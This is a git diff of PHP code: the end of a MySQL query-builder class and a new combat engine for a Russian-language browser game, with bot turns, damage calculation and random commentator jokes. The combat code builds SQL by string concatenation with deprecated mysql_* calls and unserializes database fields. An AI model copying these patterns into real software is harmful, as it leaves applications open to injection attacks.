$this->_query = rtrim($this->_query, ', ') . " "; + } + /** + * Abstraction method that will build the LIMIT part of the WHERE statement + * + * @param int|array $numRows Array to define SQL limit in format Array ($count, $offset) + * or only $count + * + * @return void + */ + protected function _buildLimit($numRows) + { + if (!isset($numRows)) { + return; + } + if (is_array($numRows)) { + $this->_query .= ' LIMIT ' . (int) $numRows[0] . ', ' . (int) $numRows[1]; + } else { + $this->_query .= ' LIMIT ' . (int) $numRows; + } + } + /** + * Method attempts to prepare the SQL query + * and throws an error if there was a problem. + * + * @return mysqli_stmt + */ + protected function _prepareQuery() + { + if (!$stmt = $this->mysqli()->prepare($this->_query)) { + $msg = "Problem preparing query ($this->_query) " . $this->mysqli()->error; + $this->reset(); + throw new Exception($msg); + } + if ($this->traceEnabled) { + $this->traceStartQ = microtime(true); + } + return $stmt; + } + /** + * Close connection + * + * @return void + */ + public function __destruct() + { + if ($this->isSubQuery) { + return; + } + if ($this->_mysqli) { + $this->_mysqli->close(); + $this->_mysqli = null; + } + } + /** + * Referenced data array is required by mysqli since PHP 5.3+ + * + * @param array $arr + * + * @return array + */ + protected function refValues(array &$arr) + { + //Reference in the function arguments are required for HHVM to work + //https://github.com/facebook/hhvm/issues/5155 + //Referenced data array is required by mysqli since PHP 5.3+ + if (strnatcmp(phpversion(), '5.3') >= 0) { + $refs = array(); + foreach ($arr as $key => $value) { + $refs[$key] = & $arr[$key]; + } + return $refs; + } + return $arr; + } + /** + * Function to replace ? with variables from bind variable + * + * @param string $str + * @param array $vals + * + * @return string + */ + protected function replacePlaceHolders($str, $vals) + { + $i = 1; + $newStr = ""; + if (empty($vals)) { + return $str; + } + while ($pos = strpos($str, "?")) { + $val = $vals[$i++]; + if (is_object($val)) { + $val = '[object]'; + } + if ($val === null) { + $val = 'NULL'; + } + $newStr .= substr($str, 0, $pos) . "'" . $val . "'"; + $str = substr($str, $pos + 1); + } + $newStr .= $str; + return $newStr; + } + /** + * Method returns last executed query + * + * @return string + */ + public function getLastQuery() + { + return $this->_lastQuery; + } + /** + * Method returns mysql error + * + * @return string + */ + public function getLastError() + { + if (!$this->_mysqli) { + return "mysqli is null"; + } + return trim($this->_stmtError . " " . $this->mysqli()->error); + } + /** + * Mostly internal method to get query and its params out of subquery object + * after get() and getAll() + * + * @return array + */ + public function getSubQuery() + { + if (!$this->isSubQuery) { + return null; + } + array_shift($this->_bindParams); + $val = Array('query' => $this->_query, + 'params' => $this->_bindParams, + 'alias' => $this->host + ); + $this->reset(); + return $val; + } + + /* Helper functions */ + /** + * Method returns generated interval function as a string + * + * @param string $diff interval in the formats: + * "1", "-1d" or "- 1 day" -- For interval - 1 day + * Supported intervals [s]econd, [m]inute, [h]hour, [d]day, [M]onth, [Y]ear + * Default null; + * @param string $func Initial date + * + * @return string + */ + public function interval($diff, $func = "NOW()") + { + $types = Array("s" => "second", "m" => "minute", "h" => "hour", "d" => "day", "M" => "month", "Y" => "year"); + $incr = '+'; + $items = ''; + $type = 'd'; + if ($diff && preg_match('/([+-]?) ?([0-9]+) ?([a-zA-Z]?)/', $diff, $matches)) { + if (!empty($matches[1])) { + $incr = $matches[1]; + } + if (!empty($matches[2])) { + $items = $matches[2]; + } + if (!empty($matches[3])) { + $type = $matches[3]; + } + if (!in_array($type, array_keys($types))) { + throw new Exception("invalid interval type in '{$diff}'"); + } + $func .= " " . $incr . " interval " . $items . " " . $types[$type] . " "; + } + return $func; + } + /** + * Method returns generated interval function as an insert/update function + * + * @param string $diff interval in the formats: + * "1", "-1d" or "- 1 day" -- For interval - 1 day + * Supported intervals [s]econd, [m]inute, [h]hour, [d]day, [M]onth, [Y]ear + * Default null; + * @param string $func Initial date + * + * @return array + */ + public function now($diff = null, $func = "NOW()") + { + return array("[F]" => Array($this->interval($diff, $func))); + } + /** + * Method generates incremental function call + * + * @param int $num increment by int or float. 1 by default + * + * @throws Exception + * @return array + */ + public function inc($num = 1) + { + if (!is_numeric($num)) { + throw new Exception('Argument supplied to inc must be a number'); + } + return array("[I]" => "+" . $num); + } + /** + * Method generates decrimental function call + * + * @param int $num increment by int or float. 1 by default + * + * @return array + */ + public function dec($num = 1) + { + if (!is_numeric($num)) { + throw new Exception('Argument supplied to dec must be a number'); + } + return array("[I]" => "-" . $num); + } + /** + * Method generates change boolean function call + * + * @param string $col column name. null by default + * + * @return array + */ + public function not($col = null) + { + return array("[N]" => (string) $col); + } + /** + * Method generates user defined function call + * + * @param string $expr user function body + * @param array $bindParams + * + * @return array + */ + public function func($expr, $bindParams = null) + { + return array("[F]" => array($expr, $bindParams)); + } + /** + * Method creates new mysqlidb object for a subquery generation + * + * @param string $subQueryAlias + * + * @return MysqliDb + */ + public static function subQuery($subQueryAlias = "") + { + return new self(array('host' => $subQueryAlias, 'isSubQuery' => true)); + } + /** + * Method returns a copy of a mysqlidb subquery object + * + * @return MysqliDb new mysqlidb object + */ + public function copy() + { + $copy = unserialize(serialize($this)); + $copy->_mysqli = null; + return $copy; + } + /** + * Begin a transaction + * + * @uses mysqli->autocommit(false) + * @uses register_shutdown_function(array($this, "_transaction_shutdown_check")) + */ + public function startTransaction() + { + $this->mysqli()->autocommit(false); + $this->_transaction_in_progress = true; + register_shutdown_function(array($this, "_transaction_status_check")); + } + /** + * Transaction commit + * + * @uses mysqli->commit(); + * @uses mysqli->autocommit(true); + */ + public function commit() + { + $result = $this->mysqli()->commit(); + $this->_transaction_in_progress = false; + $this->mysqli()->autocommit(true); + return $result; + } + /** + * Transaction rollback function + * + * @uses mysqli->rollback(); + * @uses mysqli->autocommit(true); + */ + public function rollback() + { + $result = $this->mysqli()->rollback(); + $this->_transaction_in_progress = false; + $this->mysqli()->autocommit(true); + return $result; + } + /** + * Shutdown handler to rollback uncommited operations in order to keep + * atomic operations sane. + * + * @uses mysqli->rollback(); + */ + public function _transaction_status_check() + { + if (!$this->_transaction_in_progress) { + return; + } + $this->rollback(); + } + /** + * Query exection time tracking switch + * + * @param bool $enabled Enable execution time tracking + * @param string $stripPrefix Prefix to strip from the path in exec log + * + * @return MysqliDb + */ + public function setTrace($enabled, $stripPrefix = null) { + $this->traceEnabled = $enabled; + $this->traceStripPrefix = $stripPrefix; + return $this; + } + + private function _traceGetCaller() { + $dd = debug_backtrace(); + $caller = next($dd); + while (isset($caller) && $caller["file"] == __FILE__) { + $caller = next($dd); + } + return __CLASS__."->".$caller["function"]."() >> file \"".str_replace($this->traceStripPrefix, '', $caller["file"])."\" line #".$caller["line"]." "; + } + + public function tableExists($tables) { + $tables = !is_array($tables) ? array($tables) : $tables; + $count = count($tables); + if($count == 0) { + return false; + } + array_walk($tables, function (&$value, $key) { $value = self::$prefix.$value; }); + $this->where('table_schema', $this->db); + $this->where('table_name', $tables, 'IN'); + $this->get('information_schema.tables', $count); + return $this->count == $count; + } + + public function map($idField) { + $this->_mapKey = $idField; + return $this; + } + + public function paginate($table, $page, $fields = null) { + $offset = $this->pageLimit * ($page - 1); + $res = $this->withTotalCount()->get ($table, array($offset, $this->pageLimit), $fields); + $this->totalPages = ceil($this->totalCount / $this->pageLimit); + return $res; + } +} \ No newline at end of file diff --git a/classes/battle_new.class.php b/classes/battle_new.class.php new file mode 100644 index 0000000..1a0abd5 --- /dev/null +++ b/classes/battle_new.class.php @@ -0,0 +1,1995 @@ +mysql = $mysql; + $this->user = $user; + // перебираем варианты + if ($battle_id > 0) { + // ставим статус битвы на "есть битва" + $this->status = 1; + // вставляем драчующихся + $this->battle_data = mysql_fetch_array(mysql_query("SELECT `id`, `coment`, `teams`, `timeout`, `razmen_time`, `type`, `status`, `t1`, `t2`, `date`, `time_m`, `win`, `damage`, `to1`, `to2`, `exp`, `blood`, `t1hist`, `t2hist`, `magic`, `open`, `close`, `protivnik`, `protivnik_type`, `dungeon_bot`, `dn_id`, `aren_of`, `needbb`, `clone`, `fiz` FROM `battle` WHERE `id` = '{$battle_id}' LIMIT 1")); + $this->sort_teams(); + // получили дамагу + $this->damage = unserialize($this->battle_data['damage']); + // + $this->magic = unserialize($this->battle_data['magic']); + // кто драчуется? + $this->battle = unserialize($this->battle_data['teams']); + + // получаем экспу + $this->exp = unserialize($this->battle_data['exp']); + // таймі + $this->to1 = $this->battle_data['to1']; + $this->to2 = $this->battle_data['to2']; + + // ============СИСТЕМА БОТОВ================= + $bots = mysql_query('SELECT * FROM `bots` WHERE `battle` = ' . $battle_id . ' AND `hp` > 0;'); + while ($bot = mysql_fetch_array($bots)) { + $this->bots[$bot['id']] = $bot; + // листаем противников, и выставляем удары для живых персонажей + if ($bot['hp'] > 0) { + foreach ($this->battle[$bot['id']] as $k => $v) { + if ($this->battle[$bot['id']][$k][0] == 0 && $k < 10000000) { + mt_srand(microtime(true)); + $this->battle[$bot['id']][$k] = array(mt_rand(1, 4), mt_rand(1, 6), time()); + $this->battle[$k][$bot['id']] = array(0, 0, time()); + } + if ($this->battle[$k][$bot['id']][0] == 0 && $k < 10000000) { + if (in_array($user['id'], array_keys($this->battle[$bot['id']]))) { + //echo "111"; + // если я противник бота + if ($this->my_class == 'B2') { + if ($this->to2 <= $this->to1) { + $endr = ((time() - $this->to2) > $this->battle_data['timeout'] * 60); + } + } else { + if ($this->to2 >= $this->to1) { + $endr = ((time() - $this->to1) > $this->battle_data['timeout'] * 60); + } + } + if ($endr && !$uje) { + $uje = true; + // если сдул - заканчиваем бой + $this->add_log("" . date("H:i") . " Бой закончен по таймауту.
    "); + + //$this->write_log (); + foreach ($this->battle[$bot['id']] as $k => $v) { + if ($k > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = ' . $k . ' LIMIT 1;')); + $us['hp'] = $bots['hp']; + } else { + $us = mysql_fetch_array(mysql_query('SELECT `hp` FROM `users` WHERE `id` = ' . $k . ' LIMIT 1;')); + } + if ($us && (int)$us['hp'] > 0) { + $tr = settravma($k, 0, 86400, 1); + $this->add_log('' . date("H:i") . ' ' . nick7($k) . ' получил повреждение: ' . $tr . '
    '); + } + } + //$this->write_log (); + foreach ($this->battle[$bot['id']] as $k => $v) { + mysql_query('UPDATE users SET `hp` =0, `fullhptime` = ' . time() . ' WHERE `id` = ' . $k . ';'); + } + } + } + } + } + $this->update_battle(); + } + } + //============================================== + + if ($_POST['enemy'] > 0) { + // ударяемся + $this->razmen_init($_POST['enemy'], $_POST['attack'], $_POST['defend']); +// header ("Location:main.php"); + } + + + if (isset($_GET['smena'], $_POST['smena'])) { + $sm = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `battle`, `bot`, `hp` FROM `users` WHERE `login` = "' . mysql_real_escape_string($_POST['smena']) . '" AND `battle` = "' . $user['battle'] . '" AND `hp` > 0 LIMIT 1')); + if (isset($sm['id'])) { + if ($sm['bot'] > 0) { + $bt = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `name` = "' . mysql_real_escape_string($_POST['smena']) . '" LIMIT 1')); + if (isset($bt['id'])) { + if ($bt['hp'] > 0) { + $mb = $this->select_enemy2($bt['id']); + $i = 0; + $mb2 = 0; + while ($i < count($mb)) { + if ($mb[$i] == $sm['id']) { + $mb2 = 1; + } + $i++; + } + + if ($mb2 == 1) { + $this->enemy = $bt['id']; + $_SESSION['enemy'] = $bt['id']; + } + echo "
    Успешно сменили противника
    "; + } else { + echo "
    Персонаж мертв
    "; + } + } + } else { + $mb = $this->select_enemy2($sm['id']); + $i = 0; + $mb2 = 0; + while ($i < count($mb)) { + if ($mb[$i] == $sm['id']) { + $mb2 = 1; + } + $i++; + } + + if ($mb2 == 1) { + $this->enemy = $sm['id']; + $_SESSION['enemy'] = $sm['id']; + } + echo "
    Успешно сменили противника
    "; + } + } else { + $sm = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `name` = "' . mysql_real_escape_string($_POST['smena']) . '" AND `battle` = ' . $user['battle'] . ' LIMIT 1')); + if (isset($sm['id'])) { + if ($sm['hp'] > 0) { + if (in_array($sm['id'], $this->team_enemy)) { + $mb = $this->select_enemy2($sm['id']); + $i = 0; + $mb2 = 0; + while ($i < count($mb)) { + if ($mb[$i] == $sm['id']) { + $mb2 = 1; + } + $i++; + } + + if ($mb2 == 1) { + $this->enemy = $sm['id']; + $_SESSION['enemy'] = $sm['id']; + } + + echo "
    Успешно сменили противника
    "; + + } else { + echo "
    Персонаж в вашей команде
    "; + } + } else { + $t = mysql_real_escape_string($_POST['smena']); + echo "
    Персонаж мертв
    "; + } + } else { + echo "
    Персонаж не найден
    "; + } + } + } + + $this->sort_teams(); + $this->fast_death(); + // вібираем вражину + $this->enemy = (int)$this->select_enemy(); + if ($this->enemy > 0) { + // табличка удара-блока + $this->return = 1; + } else { + //проверяем тайм + if ($this->get_timeout() && $this->user['hp'] > 0) { + // табличка тайма + $this->return = 3; + } else { + // ожидаем хода... + $this->return = 2; + } + } + if ($_POST['victory_time_out2']) { + $this->end_draft(); + } + if ($_POST['victory_time_out']) { + $this->end_gora(); + } + if ($this->battle_end()) { + $this->return = 2; + } + + $this->write_log(); // пишем лог + + return $this->return; + } else { + // ставим статус битвы на "нет битвы" + $this->status = 0; + //header ("Location:main.php"); + //die(); + //$this->return = 5; + //return $this->return; + } + } + + function sort_teams() + { + // режем тимзы + $this->t1 = explode(";", $this->battle_data['t1']); + $this->t2 = explode(";", $this->battle_data['t2']); + // проставляем кто-где + if (in_array($this->user['id'], $this->t1)) { + $this->my_class = "B1"; + $this->en_class = "B2"; + $this->team_mine = $this->t1; + $this->team_enemy = $this->t2; + } else { + $this->my_class = "B2"; + $this->en_class = "B1"; + $this->team_mine = $this->t2; + $this->team_enemy = $this->t1; + } + } + + function add_log($text) + { + $this->log .= $text; + } + + /*------------------------------------------------------------------- + проверка и выставление конца боя + --------------------------------------------------------------------*/ + + function update_battle() + { + return mysql_query('UPDATE `battle` SET `exp` = \'' . serialize($this->exp) . '\', `teams` = \'' . serialize($this->battle) . '\', `damage` = \'' . serialize($this->damage) . '\' WHERE `id` = ' . $this->battle_data['id'] . ' ;'); + } + + /*------------------------------------------------------------------- + gora - я победил +--------------------------------------------------------------------*/ + + function razmen_init($enemy, $attack, $defend) + { + // проверяем прафильность + if (($attack == 1 OR $attack == 2 OR $attack == 3 OR $attack == 4 OR $attack == 5) && $defend < 5 && $defend > 0 && $enemy && $this->user['hp'] > 0) { + if ($this->battle[$enemy][$this->user['id']][0] > 0) { + // ================================== + $this->add_log($this->get_comment()); // комментатор + // х-ки драчующихся + $mf = $this->solve_mf($enemy, $attack); + // проверяем кто куда попал + // удар по мне + $uvorotme = $this->get_chanse($mf['me']['uvorot']); + $krithe = $this->get_chanse($mf['he']['krit']); + + + if ($uvorotme && !$krithe) { + $uve = 1; + } else if (!$uvorotme && $krithe) { + $uve = 2; + } elseif ($uvorotme && $krithe) { + $uve = rand(1, 2); + } else { + $uve = 0; + } + + if ($uve == 1) { + // я увернулся; + $this->add_log($this->razmen_log("uvorot", $this->battle[$enemy][$this->user['id']][0], $this->get_wep_type($this->enemyhar['weap']), 0, $enemy, $this->en_class, $this->user['id'], $this->my_class, 0, 0)); + } elseif ($uve == 2) { + // меня кританули + if (!$this->get_block("me", $this->battle[$enemy][$this->user['id']][0], $defend, $enemy)) { + $hs = 1; + $m = 'a'; + } else { + $hs = 2; + $m = ''; + } + $this->damage[$enemy] += ($mf['he']['udar'] * $hs); + $jv = ($this->user['hp'] - $mf['he']['udar'] * $hs); + + $this->exp[$enemy] += SolveExp($enemy, $this->user['id'], $mf['he']['udar'] * $hs); + + $this->add_log($this->razmen_log("krit" . $m, $this->battle[$enemy][$this->user['id']][0], $this->get_wep_type($this->enemyhar['weap']), ($mf['he']['udar'] * $hs), $enemy, $this->en_class, $this->user['id'], $this->my_class, ($this->user['hp'] - $mf['he']['udar'] * $hs), $this->user['maxhp'])); + mysql_query('UPDATE users SET `hp` = `hp` - ' . ($mf['he']['udar'] * $hs) . ' WHERE `id` = ' . $this->user['id'] . ''); + } elseif ($this->get_block("me", $this->battle[$enemy][$this->user['id']][0], $defend, $enemy)) { + // противник попал куда надо + $this->damage[$enemy] += ($mf['he']['udar']); + $jv = ($this->user['hp'] - $mf['he']['udar']); + + $this->exp[$enemy] += SolveExp($enemy, $this->user['id'], $mf['he']['udar']); + + $this->add_log($this->razmen_log("udar", $this->battle[$enemy][$this->user['id']][0], $this->get_wep_type($this->enemyhar['weap']), $mf['he']['udar'], $enemy, $this->en_class, $this->user['id'], $this->my_class, ($this->user['hp'] - $mf['he']['udar']), $this->user['maxhp'])); + mysql_query('UPDATE users SET `hp` = `hp` - ' . ($mf['he']['udar']) . ' WHERE `id` = ' . $this->user['id'] . ''); + } else { + // противник мазила + $this->add_log($this->razmen_log("block", $this->battle[$enemy][$this->user['id']][0], $this->get_wep_type($this->enemyhar['weap']), 0, $enemy, $this->en_class, $this->user['id'], $this->my_class, 0, 0)); + } + + + $uvorothe = $this->get_chanse($mf['he']['uvorot']); + $kritme = $this->get_chanse($mf['me']['krit']); + + + if ($uvorothe && !$kritme) { + $uve = 1; + } else if (!$uvorothe && $kritme) { + $uve = 2; + } elseif ($uvorothe && $kritme) { + $uve = rand(1, 2); + } else { + $uve = 0; + } + // удар по противнику + if ($uve == 1) { + // он увернулся; + $this->add_log($this->razmen_log("uvorot", $attack, $this->get_wep_type($this->user['weap']), 0, $this->user['id'], $this->my_class, $enemy, $this->en_class, 0, 0)); + } elseif ($uve == 2) { + // его кританули + if (!$this->get_block("he", $attack, $this->battle[$enemy][$this->user['id']][1], $enemy)) { + $hs = 1; + $m = 'a'; + } else { + $hs = 2; + $m = ''; + } + $this->damage[$this->user['id']] += ($mf['me']['udar'] * $hs); + + $this->exp[$this->user['id']] += SolveExp($this->user['id'], $enemy, $mf['me']['udar'] * $hs); + + $this->add_log($this->razmen_log("krit" . $m, $attack, $this->get_wep_type($this->user['weap']), ($mf['me']['udar'] * $hs), $this->user['id'], $this->my_class, $enemy, $this->en_class, ($this->enemyhar['hp'] - $mf['me']['udar'] * $hs), $this->enemyhar['maxhp'])); + if ($enemy > _BOTSEPARATOR_) { + mysql_query('UPDATE `bots` SET `hp` = `hp` - ' . ($mf['me']['udar'] * $hs) . ' WHERE `id` = ' . $enemy . ''); + } else { + mysql_query('UPDATE `users` SET `hp` = `hp` - ' . ($mf['me']['udar'] * $hs) . ' WHERE `id` = ' . $enemy . ''); + } + } elseif ($this->get_block("he", $attack, $this->battle[$enemy][$this->user['id']][1], $enemy)) { + // я попал куда надо + $this->damage[$this->user['id']] += ($mf['me']['udar']); + + $this->exp[$this->user['id']] += SolveExp($this->user['id'], $enemy, $mf['me']['udar']); + + $this->add_log($this->razmen_log("udar", $attack, $this->get_wep_type($this->user['weap']), $mf['me']['udar'], $this->user['id'], $this->my_class, $enemy, $this->en_class, ($this->enemyhar['hp'] - $mf['me']['udar']), $this->enemyhar['maxhp'])); + if ($enemy > _BOTSEPARATOR_) { + mysql_query('UPDATE `bots` SET `hp` = `hp` - ' . ($mf['me']['udar']) . ' WHERE `id` = ' . $enemy . ''); + } else { + mysql_query('UPDATE `users` SET `hp` = `hp` - ' . ($mf['me']['udar']) . ' WHERE `id` = ' . $enemy . ''); + } + } else { + // я мазила + $this->add_log($this->razmen_log("block", $attack, $this->get_wep_type($this->user['weap']), 0, $this->user['id'], $this->my_class, $enemy, $this->en_class, 0, 0)); + } + + // обновить битку + $this->battle[$enemy][$this->user['id']] = array(0, 0, time()); + mysql_query("UPDATE `battle` SET `to1` = '" . time() . "',`to2` = '" . time() . "' WHERE `id` = " . $this->user['battle'] . " LIMIT 1;"); + + $this->update_battle(); + } else { + + // выставляем удар противнику... просто... + $this->battle[$this->user['id']][$enemy] = array($attack, $defend, time()); + if ($this->my_class == "B1" && $jv > 0) { + mysql_query("UPDATE `battle` SET `to1` = '" . time() . "', `to2` = '" . (time() - 1) . "' WHERE `id` = " . $this->user['battle'] . " LIMIT 1;"); + } elseif ($jv > 0) { + mysql_query("UPDATE `battle` SET `to2` = '" . time() . "', `to1` = '" . (time() - 1) . "' WHERE `id` = " . $this->user['battle'] . " LIMIT 1;"); + } else { + mysql_query("UPDATE `battle` SET `to2` = '" . time() . "', `to1` = '" . (time()) . "' WHERE `id` = " . $this->user['battle'] . " LIMIT 1;"); + } + // обновить битку + $this->update_battle(); + header("Location: " . $_SERVER['PHP_SELF'] . ""); + die(); + } + } else { + return false; + } + } + + /*------------------------------------------------------------------- + draft - ничья +--------------------------------------------------------------------*/ + + function get_comment() + { + $boycom = array( + 'А танцуешь ты лучше.', + 'А мы что, в прятки тут играем?', + 'А вы разве пингвинов никогда не видели?', + 'А, ведь когда-то, вы были красивыми… А теперь? Ну и рожи! Жуть!', + 'А потом еще труп пинать будут.', + 'А я вчера ночью за соседями подглядывал. Они точно так же кувыркались', + 'А ведь вы живых людей дубасите...', + 'А вот я вчера в зоопарке был...', + 'А вы в стройбате не служили?', + 'А вы видели, чтобы так на улице делали!?', + 'А вы знали что ёжики размножаются в интернете?', + 'А жить-то, как хочется:', + 'А из-за чего вы собственно дерётесь?', + 'А чего ржёте, вы ещё остальных не видели', + 'А что произойдёт если ты испугаешся до полусмерти дважды?!', + 'Больше так не делай. Ты же не садист?', + 'Без комментариев...', + 'Больно ведь!', + 'Быстро ты за монитор спрятался!', + 'Все хотят попасть в рай, но никто не хочет умирать!', + 'Вчера с такой девчонкой познакомился.', + 'Всего 5 минут знакомы, а дерутся, словно супруги с 20-ти летним стажем...', + 'Все. Я так больше не могу.', + 'В конце концов, кто-то победит?', + 'Вы чего, с дерева упали? ', + 'Возятся как сонные мухи... давайте я вам лучше анекдот расскажу: ...', + 'Вот видишь, как полезно чистить зубы на ночь?', + 'Вот вы все руками махаете, а за вами уже очередь', + 'Вот попадёте вы в плен и вас там будут долго бить. Но вы ничего не расскажете... и не потому, что вы такой стойкий, просто вы ничего не знаете', + 'Вы бы лучше пошли потренировались!', + 'Вы все еще разминаетесь? Позовите, когда кости в муку друг другу разминать будете.', + 'Вы же бойцы! Имейте совесть!', + 'Гаси недоумка!', + 'Да, если бы я смог это остановить, то получил бы нобелевскую премию "За мир" ', + 'Да куда они бьют?!', + 'Давайте быстрее! За вами уже очередь образовалась.', + 'Давайте обойдемся сегодня таймаутом. А? А то мне уже кошмары скоро будут сниться.', + 'Дерутся как девчонки!', + 'Дети, посмотрите налево... Ой!.. Нет, туда лучше не смотреть.', + 'Если так будет продолжаться, то скоро мы заснем!', + 'Если бы у меня было кресло-качалка, я бы в нём качался...', + 'Если вы что-то сказать хотите, то лучше молчите :)', + 'Жестокость не порок.', + 'Жизнь вне нашего клуба - это пустая трата кислорода!!!', + 'Жми! Дави! Кусай! Царапай!', + 'За такие бои надо в хаос отправлять!', + 'Знаете откуда в комиссионном магазине столько вещей? Это я после ваших гулянок собираю и сдаю туда. Иногда вместе с частями тела, застрявшими в них.', + 'Здесь люди так близки друг к другу. Просто иначе ударить нельзя.', + 'И пролитая кровь еще пульсирует...', + 'Инвалидов развелось...', + 'Какой бой!!!', + 'Кто!? Кто здесь?!', + 'Кто вас этому научил?', + 'Кузнечик, блин...', + 'Куплю импортный проигрыватель грампластинок.', + 'Лошадью ходи!', + 'Лучше враг, чем друг - враг.', + 'Ладно, вы тут пока друг друга за волосы таскайте, а я пойду, пообедаю.', + 'Мне ваш балет уже надоел!', + 'Может, начнется-таки настоящий бой???', + 'Мысли лезут в голову изнутри, а удары снаружи.', + 'Ну и где ваши коронные удары? Где живописные падения я спрашиваю!', + 'Ну, нельзя же так наотмашь лупить!', + 'Надо раньше было думать, теперь смертельно поздно...', + 'На такое зрелище билеты продавать можно. Народ ухохочется!', + 'Нет! Не надо драки! А... ладно деритесь, все равно не умеете.', + 'Нет, ну должен быть повод, должен же быть повод?', + 'Нет, я отказываюсь это комментировать!', + 'Не таких обламывали!', + 'Ну выпили вы рюмку, ну две... ну литр, ну два... так зачем же после этого драку затевать?!', + 'Ну и кто за этот погром платить будет?', + 'Ну и оскал у вас. Из вашей улыбки кастеты делать можно.', + 'Ну, что же ты..? Не печалься. Выше голову, так по ней удобней попасть.', + 'Ничего... Блок тоже удар.', + 'Обернись!!!.... Поздно...', + 'Ого! Научите меня так не делать.', + 'Осторожно! Сделаешь дырочку, уже не запломбируешь!', + 'Оно вам надо???', + 'Обычное дело...там что-то отклеилось.', + 'Ой, и заболтался я с вами...', + 'Он же не промахнётся если ты не отойдёшь!', + 'По-моему, кому-то светит инвалидность.', + 'Подкинь ему грабли, на которые он еще не наступал.', + 'Прав был кот Леопольд, давайте жить дружно?', + 'При ударе в живот нарушается кислотно-щелочной баланс.', + 'Проверь, не торчит ли у тебя нож из живота.', + 'Перестаньте мне орать!', + 'Подкинь ему грабли, на которые он еще не наступал.', + 'Прыгают тут как блохи... Все, я пошел за дихлофосом!', + 'Разбудите меня, когда это закончится...', + 'Ребенок сильнее ударил бы!', + 'Славно вмазал!', + 'Славно они веселятся', + 'Смотрю вот на вас, и слезы наворачиваются.', + 'Сначала учатся ходить, а потом только в драку лезут.', + 'Так они друг другу что-нибудь сломают.', + 'Так ты ему все кости переломаешь!', + 'У меня в подъезде точно так же соседа прессанули', + 'Убогих развелось...', + 'Ух ты, какой прыткий!', + 'Фашист!! Надо ж, так по больному месту врезать...', + 'Хватит бить его об угол моей кабинки! Мне же потом ее чинить.', + 'Хулиганы, прекратите немедленно!', + 'Хочешь, подскажу, куда он ударит?', + 'Хорошо, что у меня ловкости больше чем у вас всех, а то б вы и меня в инвалидную коляску посадили бы.', + 'Хороший бой!', + 'Хороший удар!', + 'Хиляк-разрядник!', + 'Что ты его за волосы схватил?! Отпусти немедленно!', + 'Щас я вас настигну, вот тогда мы и похохочем', + 'Это была какая-то неизвестная мне техника...', + 'Это же противник, а не глина! Хватит мяться!', + 'Это не бой, это издевательское избиение.', + 'Это поубавит спеси', + 'Это и был твой план "Б" ?', + 'Это была какая-то неизвестная мне техника...', + 'Я же предупреждал, - будет больно.', + 'Я не страдаю безумием. Я наслаждаюсь им каждую минуту :)', + 'Я красивый, я сильный, я умный, я добрый. А вот вы? Вы себя-то видели?!', + 'Я тоже умею драться, но не буду...', + '(тревожно озираясь) я вам по секрету скажу... за вами наблюдают!', + '<вырезано цензурой> после боя я этих <вырезано цензурой> обоих в <вырезано цензурой> и <вырезано цензурой>', + '<вырезано цензурой> каратисты фиговы'); + + // рандомайзим и шансуем ;) + if (mt_rand(0, 3) == 1) { + return '' . date("H:i") . ' Комментатор: ' . $boycom[mt_rand(0, count($boycom) - 1)] . '
    '; + } else { + return false; + } + } + + /*------------------------------------------------------------------- + мочим трупов +--------------------------------------------------------------------*/ + + function solve_mf($enemy, $myattack) + { + //БОНУСЫ! + $zo = mysql_fetch_row(mysql_query("SELECT id FROM effects WHERE type=201 AND owner=" . (int)$this->user['id'] . " LIMIT 1;")); + $zo1 = mysql_fetch_row(mysql_query("SELECT id FROM effects WHERE type=201 AND owner=" . (int)$this->enemyhar['id'] . " LIMIT 1;")); + $zo2 = mysql_fetch_row(mysql_query("SELECT id FROM effects WHERE type=205 AND owner=" . (int)$this->user['id'] . " LIMIT 1;")); + $zo3 = mysql_fetch_row(mysql_query("SELECT id FROM effects WHERE type=205 AND owner=" . (int)$this->enemyhar['id'] . " LIMIT 1;")); + $sokr = mysql_fetch_row(mysql_query("SELECT id FROM effects WHERE type=202 AND owner=" . (int)$this->user['id'] . " LIMIT 1;")); + $sokr1 = mysql_fetch_row(mysql_query("SELECT id FROM effects WHERE type=202 AND owner=" . (int)$this->enemyhar['id'] . " LIMIT 1;")); + $sokr2 = mysql_fetch_row(mysql_query("SELECT id FROM effects WHERE type=204 AND owner=" . (int)$this->user['id'] . " LIMIT 1;")); + $sokr3 = mysql_fetch_row(mysql_query("SELECT id FROM effects WHERE type=204 AND owner=" . (int)$this->enemyhar['id'] . " LIMIT 1;")); + $mfusil = @mysql_fetch_row(@mysql_query("SELECT id,name FROM effects WHERE type=50 AND owner=" . (int)$user['id'] . " LIMIT 1;")); + + $bmfud = $sokr[0] > 0 ? 1 : 0;//владение оружием ! + $bmfud = $sokr2[0] > 0 ? 1.5 : 0;//владение оружием ! + $bmfbron = $zo[0] > 0 ? 2 : 0;//броня + $bmfbron = $zo2[0] > 0 ? 5 : 0;//броня + $bmfuv = 0; + $bmfauv = 0; + $bmfakrit = 0; + $bmfkrit = 0; //модификаторы + $bmfuv += $mfusil['mfuvorot']; + $bmfauv += $mfusil['mfauvorot']; + $bmfakrit += $mfusil['mfakrit']; + $bmfkrit += $mfusil['mfkrit']; + $bmfud1 = $sokr1[0] > 0 ? 1 : 0;//владение оружием + $bmfud1 = $sokr3[0] > 0 ? 1.5 : 0;//владение оружием + $bmfbron1 = $zo1[0] > 0 ? 2 : 0;//броня + $bmfbron1 = $zo3[0] > 0 ? 5 : 0;//броня + $bmfuv1 = 0; + $bmfauv1 = 0; + $bmfakrit1 = 0; + $bmfkrit1 = 0; //модификаторы +// fixme что-то сделать с этой хернёй. рассчёт модификаторов работает не так! + if ($this->user['sila'] >= 25) $bmfud += 1; + if ($this->user['sila'] >= 50) $bmfud += 2; if ($this->user['sila'] >= 50) $bmfauv += 25; if ($this->user['sila'] >= 50) $bmfakrit += 25; + if ($this->user['sila'] >= 75) $bmfud += 3; if ($this->user['sila'] >= 75) $bmfauv += 30; if ($this->user['sila'] >= 75) $bmfakrit += 30; + if ($this->user['sila'] >= 100) $bmfud += 5; if ($this->user['sila'] >= 100) $bmfauv += 40; if ($this->user['sila'] >= 100) $bmfakrit += 40; + if ($this->user['sila'] >= 125) $bmfud += 11; if ($this->user['sila'] >= 125) $bmfauv += 50; if ($this->user['sila'] >= 125) $bmfakrit += 50; + if ($this->user['lovk'] >= 25) $bmfauv += 